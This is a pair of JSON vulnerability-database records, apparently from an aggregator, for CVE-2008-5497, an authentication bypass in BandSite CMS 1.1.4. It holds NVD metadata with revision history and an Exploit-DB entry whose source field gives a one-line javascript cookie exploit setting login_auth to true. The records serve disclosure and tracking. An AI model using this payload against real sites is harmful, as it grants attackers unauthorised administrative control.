{"id": "CVE-2008-5497", "bulletinFamily": "NVD", "title": "CVE-2008-5497", "description": "BandSite CMS 1.1.4 allows remote attackers to bypass authentication and gain administrative access by setting the login_auth cookie to true.", "published": "2008-12-12T11:30:00", "modified": "2017-09-28T21:32:38", "cvss": {"score": 7.5, "vector": "AV:NETWORK/AC:LOW/Au:NONE/C:PARTIAL/I:PARTIAL/A:PARTIAL/"}, "href": "https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2008-5497", "reporter": "NVD", "references": ["http://www.securityfocus.com/bid/32295", "http://securityreason.com/securityalert/4716", "https://exchange.xforce.ibmcloud.com/vulnerabilities/46601", "https://www.exploit-db.com/exploits/7113"], "cvelist": ["CVE-2008-5497"], "type": "cve", "lastseen": "2017-09-29T14:26:14", "history": [{"bulletin": {"assessment": {"href": "", "name": "", "system": ""}, "bulletinFamily": "NVD", "cpe": ["cpe:/a:bandsitecms:bandsite_cms:1.1.4"], "cvelist": ["CVE-2008-5497"], "cvss": {"score": 7.5, "vector": "AV:NETWORK/AC:LOW/Au:NONE/C:PARTIAL/I:PARTIAL/A:PARTIAL/"}, "description": "BandSite CMS 1.1.4 allows remote attackers to bypass authentication and gain administrative access by setting the login_auth cookie to true.", "edition": 1, "enchantments": {}, "hash": "3bc16b1377fb6afd7d4a9341bbd21dbf2b1b1c2051a3ea8037b529637e562a49", "hashmap": [{"hash": "d41d8cd98f00b204e9800998ecf8427e", "key": "scanner"}, {"hash": "601892ece72be3be2f57266ca2354792", "key": "reporter"}, {"hash": "ad0d98009e6f802fa45c8e3150e2f6f7", "key": "cpe"}, {"hash": "ffc6f305c09a20c6dd3022fcfbeba6be", "key": "modified"}, {"hash": "392d7f96cd4a4d2b4733bc8341082b70", "key": "published"}, {"hash": "6d3f4796275bb54c21a33b82f399cc6d", "key": "assessment"}, {"hash": "e5d275b3ebd62646b78320753699e02e", "key": "cvss"}, {"hash": "2fdebc3ebb8b1ff78d3d60e817fc2841", "key": "description"}, {"hash": "18eac4b4a440a4960811dafeb6f256e2", "key": "title"}, {"hash": "1716b5fcbb7121af74efdc153d0166c5", "key": "type"}, {"hash": "e9c03ebcfe643ca0de01bbef7c3c8185", "key": "cvelist"}, {"hash": "c5cc06ca3dfb40e06d5d32a91887b1b8", "key": "href"}, {"hash": "601892ece72be3be2f57266ca2354792", "key": "bulletinFamily"}, {"hash": "27c4b4fda9a6431970f6249ba9293b4c", "key": "references"}], "history": [], "href": "https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2008-5497", "id": "CVE-2008-5497", "lastseen": "2016-09-03T11:25:45", "modified": "2009-01-29T01:59:19", "objectVersion": "1.2", "published": "2008-12-12T11:30:00", "references": ["http://www.securityfocus.com/bid/32295", "http://securityreason.com/securityalert/4716", "http://www.milw0rm.com/exploits/7113", "http://xforce.iss.net/xforce/xfdb/46601"], "reporter": "NVD", "scanner": [], "title": "CVE-2008-5497", "type": "cve", "viewCount": 0}, "differentElements": ["references", "modified"], "edition": 1, "lastseen": "2016-09-03T11:25:45"}, {"bulletin": {"assessment": {"href": "", "name": "", "system": ""}, "bulletinFamily": "NVD", "cpe": ["cpe:/a:bandsitecms:bandsite_cms:1.1.4"], "cvelist": ["CVE-2008-5497"], "cvss": {"score": 7.5, "vector": "AV:NETWORK/AC:LOW/Au:NONE/C:PARTIAL/I:PARTIAL/A:PARTIAL/"}, "description": "BandSite CMS 1.1.4 allows remote attackers to bypass authentication and gain administrative access by setting the login_auth cookie to true.", "edition": 2, "enchantments": {}, "hash": "3a847c93266902f04e76a9ab16ac2a3c9c7815ad7d6e32850e89944c8de8c1a0", "hashmap": [{"hash": "d41d8cd98f00b204e9800998ecf8427e", "key": "scanner"}, {"hash": "601892ece72be3be2f57266ca2354792", "key": "reporter"}, {"hash": "58c106c7fc9a693e3fcfe45059c3a344", "key": "modified"}, {"hash": "ad0d98009e6f802fa45c8e3150e2f6f7", "key": "cpe"}, {"hash": "392d7f96cd4a4d2b4733bc8341082b70", "key": "published"}, {"hash": "6d3f4796275bb54c21a33b82f399cc6d", "key": "assessment"}, {"hash": "e5d275b3ebd62646b78320753699e02e", "key": "cvss"}, {"hash": "2fdebc3ebb8b1ff78d3d60e817fc2841", "key": "description"}, {"hash": "016ad4650738e3faa4d48116397ad407", "key": "references"}, {"hash": "18eac4b4a440a4960811dafeb6f256e2", "key": "title"}, {"hash": "1716b5fcbb7121af74efdc153d0166c5", "key": "type"}, {"hash": "e9c03ebcfe643ca0de01bbef7c3c8185", "key": "cvelist"}, {"hash": "c5cc06ca3dfb40e06d5d32a91887b1b8", "key": "href"}, {"hash": "601892ece72be3be2f57266ca2354792", "key": "bulletinFamily"}], "history": [], "href": "https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2008-5497", "id": "CVE-2008-5497", "lastseen": "2017-08-08T11:25:03", "modified": "2017-08-07T21:33:19", "objectVersion": "1.3", "published": "2008-12-12T11:30:00", "references": ["http://www.securityfocus.com/bid/32295", "http://securityreason.com/securityalert/4716", "http://www.milw0rm.com/exploits/7113", "https://exchange.xforce.ibmcloud.com/vulnerabilities/46601"], "reporter": "NVD", "scanner": [], "title": "CVE-2008-5497", "type": "cve", "viewCount": 0}, "differentElements": ["references", "modified"], "edition": 2, "lastseen": "2017-08-08T11:25:03"}], "edition": 3, "hashmap": [{"key": "assessment", "hash": "6d3f4796275bb54c21a33b82f399cc6d"}, {"key": "bulletinFamily", "hash": "601892ece72be3be2f57266ca2354792"}, {"key": "cpe", "hash": "ad0d98009e6f802fa45c8e3150e2f6f7"}, {"key": "cvelist", "hash": "e9c03ebcfe643ca0de01bbef7c3c8185"}, {"key": "cvss", "hash": "e5d275b3ebd62646b78320753699e02e"}, {"key": "description", "hash": "2fdebc3ebb8b1ff78d3d60e817fc2841"}, {"key": "href", "hash": "c5cc06ca3dfb40e06d5d32a91887b1b8"}, {"key": "modified", "hash": "e4379b4e251c7757ae951de84354608b"}, {"key": "published", "hash": "392d7f96cd4a4d2b4733bc8341082b70"}, {"key": "references", "hash": "ce3018dcd8182ce73d42704ce3e1d81d"}, {"key": "reporter", "hash": "601892ece72be3be2f57266ca2354792"}, {"key": "scanner", "hash": "d41d8cd98f00b204e9800998ecf8427e"}, {"key": "title", "hash": "18eac4b4a440a4960811dafeb6f256e2"}, {"key": "type", "hash": "1716b5fcbb7121af74efdc153d0166c5"}], "hash": "351614a3716239351da8c3176b1d1dbbc603122baca627de328a4d34342cec0c", "viewCount": 0, "enchantments": {"score": {"value": 7.5, "vector": "NONE", "modified": "2017-09-29T14:26:14"}, "vulnersScore": 7.5}, "objectVersion": "1.3", "cpe": ["cpe:/a:bandsitecms:bandsite_cms:1.1.4"], "assessment": {"href": "", "name": "", "system": ""}, "scanner": []}

{"exploitdb": [{"lastseen": "2016-02-01T02:26:22", "osvdbidlist": ["50701"], "references": [], "edition": 1, "description": "BandSite CMS 1.1.4 Insecure Cookie Handling Vulnerability. CVE-2008-5497. Webapps exploit for php platform", "reporter": "Stack", "published": "2008-11-13T00:00:00", "enchantments": {"score": {"vector": "NONE", "value": 9.3}}, "type": "exploitdb", "title": "BandSite CMS 1.1.4 Insecure Cookie Handling Vulnerability", "bulletinFamily": "exploit", "cvelist": ["CVE-2008-5497"], "modified": "2008-11-13T00:00:00", "id": "EDB-ID:7113", "href": "https://www.exploit-db.com/exploits/7113/", "sourceData": "###########################################################################\n[+] BandSite CMS 1.1.4 Insecure Cookie Handling Vulnerability\n[+] Discovered By Mountassif Moad \n[+] www.v4-team.com \n[+] Greetz : All my Freind\n###########################################################################\nExploit:\njavascript:document.cookie = \"login_auth=true; path=/\";\n\n# milw0rm.com [2008-11-13]\n", "cvss": {"score": 7.5, "vector": "AV:NETWORK/AC:LOW/Au:NONE/C:PARTIAL/I:PARTIAL/A:PARTIAL/"}, "sourceHref": "https://www.exploit-db.com/download/7113/"}]}